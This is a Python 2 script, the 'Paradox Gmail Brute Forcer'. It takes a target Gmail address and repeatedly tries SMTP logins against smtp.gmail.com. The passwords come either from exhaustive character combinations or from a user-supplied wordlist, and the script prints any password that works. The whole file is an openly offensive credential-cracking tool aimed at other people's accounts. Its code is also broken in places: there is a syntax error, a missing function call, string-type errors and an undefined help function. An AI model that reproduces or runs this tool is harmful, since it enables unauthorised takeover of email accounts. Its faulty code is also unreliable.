def GmailBrute():
        import time
        import smtplib
        import time
        import os
        import itertools
        #os.system("color 09")
        start_time1 = time.time()

        def WordGenBrute():
                #!/usr/bin/env python

                import itertools


                def passes(size, pool):
                    for p in itertools.product(pool, repeat=size):
                        yield "".join(p)

                def range_passes(minSize, maxSize, pool):
                    num = (maxSize - minSize) + 1
                    pws = []

                    for i in range(num):
                        pws.append(passes(minSize + i, pool))

                    for P in pws:
                        for pw in P:
                            yield pw


                if __name__ == '__main__':
                    import string
                    from optparse import OptionParser

                    dPool = "a" + raw_input("Enter Any Extra Character You Want To Use To Generate The Passwords With:\n> ")

                    parser = OptionParser()
                    parser.add_option("-s", "--start", dest="minSize", type="int", default=raw_input("Min Pass Size: > "),
                                      help="Minimum password size")
                    parser.add_option("-e", "--end", dest="maxSize", type="int", default=raw_input("Max Pass Size: > "),
                                      help="Maximum password size")
                    parser.add_option("-p", "--pool", dest="pool", default=dPool,
                                      help="Characters to generate passwords from")

                    (options, args) = parser.parse_args()
                    numb = 0
                    
                    for pw in range_passes(options.minSize, options.maxSize, options.pool):
                        timetkn = time.time()
                        os.system("cls")
                        os.system("color 09")
                        #print "Trying Pass: " + pw + "        Number Of Passwords Tried: " + (str(numb))
                        numb = numb + 1
                        SMTP_SERVER = 'smtp.gmail.com'
                        SMTP_PORT = 587
                        session = smtplib.SMTP(SMTP_SERVER, SMTP_PORT)
                        Steal = StealGmail
                        Pass = (str(pw))
                        password = Pass
                        try:
                                
                                session.ehlo()
                                session.starttls()
                                session.ehlo
                                session.login(Steal, password)
                                session.quit()
                                os.system("color 0a")
                                timetkn2 = timetkn - time.time
                                print "-------------------------"
                                print "BruteForce Sucessful: "
                                print "---------------------"
                                print "Gmail: " + Steal
                                print "Password: " + Pass
                                print "Pass Found In " + timetkn2
                                print "-------------------------"
                                raw_input("> ")
                                Start()
                        except:
                                reslt = "Invalid Password "
                                timetkn2 = timetkn - time.time()
                                print "Tried (" + (str(pw)) + ") In " + (str(timetkn2)) + " Seconds And The Result Was: " + (str(reslt)) + " Total Passwords Tryed: " + (str(numb))
                                pass
                elapsed_time = time.time() - start_time1
                print "-----------------------------------------"
                print "Unable To Crack The Password(Details): "
                print "Gmail: " + (str(Steal))
                print "Number Of Passes Tried:  " + (str(numb))
                print "Time Elapsed: " + (str(elapsed_time))
                print "Reason: Password Not Found In List!" 
                print "-----------------------------------------"




        def PassListBrute():
                #!/usr/bin/env python

                import itertools
                start_time1 = time.time()

                def passes(size, pool):
                    for p in itertools.product(pool, repeat=size):
                        yield "".join(p)

                def range_passes(minSize, maxSize, pool):
                    num = (maxSize - minSize) + 1
                    pws = []

                    for i in range(num):
                        pws.append(passes(minSize + i, pool))

                    for P in pws:
                        for pw in P:0 
                        yield pw


                if __name__ == '__main__':
                    import string
                    from optparse import OptionParser
                    print "Password List Directory:"
                    listdir = raw_input("> ")
                    print "Password List Name:"
                    listnam = raw_input("> ")
                    
                    listname = listdir + "\\" + listnam
                    print "File Chosen: " + listname
                    f=open(listname)
                    lines=f.readlines()


                    dPool = lines

                    parser = OptionParser()
                    
                    parser.add_option("-p", "--pool", dest="pool", default=dPool,
                                      help="List to generate passwords from")

                    (options, args) = parser.parse_args()

                    numb = 0
                    for pw in range_passes(1, 1, options.pool):
                        numb = numb + 1
                        #print "Trying Pass: " + pw
                        SMTP_SERVER = 'smtp.gmail.com'
                        SMTP_PORT = 587
                        session = smtplib.SMTP(SMTP_SERVER, SMTP_PORT)
                        Steal = StealGmail
                        Pass = (str(pw))
                        password = Pass
                        try:
                                timetkn = time.time()
                                reslt = "Invalid Password "
                                session.ehlo()
                                session.starttls()
                                session.ehlo
                                session.login(Steal, password)
                                session.quit()
                                os.system("color 0a")
                                timetkn2 = timetkn - time.time()
                                print "-------------------------"
                                print "BruteForce Sucessful: "
                                print "---------------------"
                                print "Gmail: " + Steal
                                print "Password: " + Pass
                                print "Pass Found In " + timetkn2
                                print "-------------------------"
                                reslt = "Found Password "
                                raw_input("> ")
                                Start()
                        except:
                                timetkn2 = timetkn - time.time()
                                print "Tried (" + (str(Pass)) + ") In " + (str(timetkn2)) + " Seconds And The Result Was: " + (str(reslt)) + " Total Passwords Tryed: " + (str(numb))
                                pass
                    elapsed_time = time.time() - start_time1
                    print " "
                    print "-----------------------------------------"
                    print "Unable To Crack The Password(Details): "
                    print "Gmail: "
                    print "List:  " + listnam
                    print "Directory: " + listdir
                    print "Number Of Passes Tried:  " + (str(numb))
                    print "Time Elapsed: " + (str(elapsed_time))
                    print "Reason: Password Not Found In List!" 
                    print "-----------------------------------------"
                    Start()





        
        #Actual Begining Of Script:
        print "Gmail You Want To Brute Force: "
        StealGmail = raw_input("> ")

                        
        print "Paradox Brute Forcer Client:"
        print "What Type Of Brute Force Would You Like To Use:"
        print "--------------------------------------------------"
        print " "
        print """Password Generator(1):
        ---------------------------------------
        Generates All Word-Number-Symbol
        Combinations Until The Password Is Found!
        Estimated Time [1-72] Hours
        ---------------------------------------
        """
        print " "
        print """Password List(2): {Highly Suggested!}
        ---------------------------------------
        Grabs Every Word In Your List And Tries 
        To Use It As A Password, Very Effecient
        If You Know What Your Doing!
        Estimated Time [10Mins - 5Hours]
        Depends On List
        ---------------------------------------
        """
        
        answerz = raw_input("> ")

        if answerz == "1":
                print "----------------------------------------------------------"
                print "-               Password Generator                       -"
                print "----------------------------------------------------------"
                os.system("cls")
                os.system("color 09")
                WordGenBrute()
        elif answerz == "2":
                print "----------------------------------------------------------"
                print "-                  Password List                         -"
                print "----------------------------------------------------------"
                os.system("cls")
                os.system("color 09")
                PassListBrute()
        else:
                print "Not An Option, Assuming Password Generator"
                print "----------------------------------------------------------"
                print "-               Password Generator                       -"
                print "----------------------------------------------------------"
                os.system("cls")
                os.system("color 09")
                WordGenBrute()
        Start()






#Actual Start Of The Whole Script:
                
def Start():
        #Adding A Choice Now Makes Is Easior To Add Updates:
        import os
        print """
Paradox Gmail Brute Forcer Version 5.6.1
------------------------------------------
> Gmail_Brute_Force-----------(1)
> Help------------------------(2)
------------------------------------------
"""

        choice = raw_input("> ")

                #If Gmail Brute Force Is Choosen Do This:
        if choice  == "1":
                print "----------------------------------------------------------"
                print "-               Gmail Brute Force                        -"
                print "----------------------------------------------------------"
                os.system("cls")
                os.system("color 09")
                GmailBrute()


                #If Help Is Choosen Do This:
        if choice  == "2":
                print "----------------------------------------------------------"
                print "-               Help Section                             -"
                print "----------------------------------------------------------"
                os.system("cls")
                os.system("color 09")
                HelpSection()

                #If An Invalid Choice Is Input This Will Ask To Retry:
        else:
                print "Not An Option: Please Retry!"
                os.system("cls")
                os.system("color 09")
                Start()


#Calls The Start Of The Script:
Start()
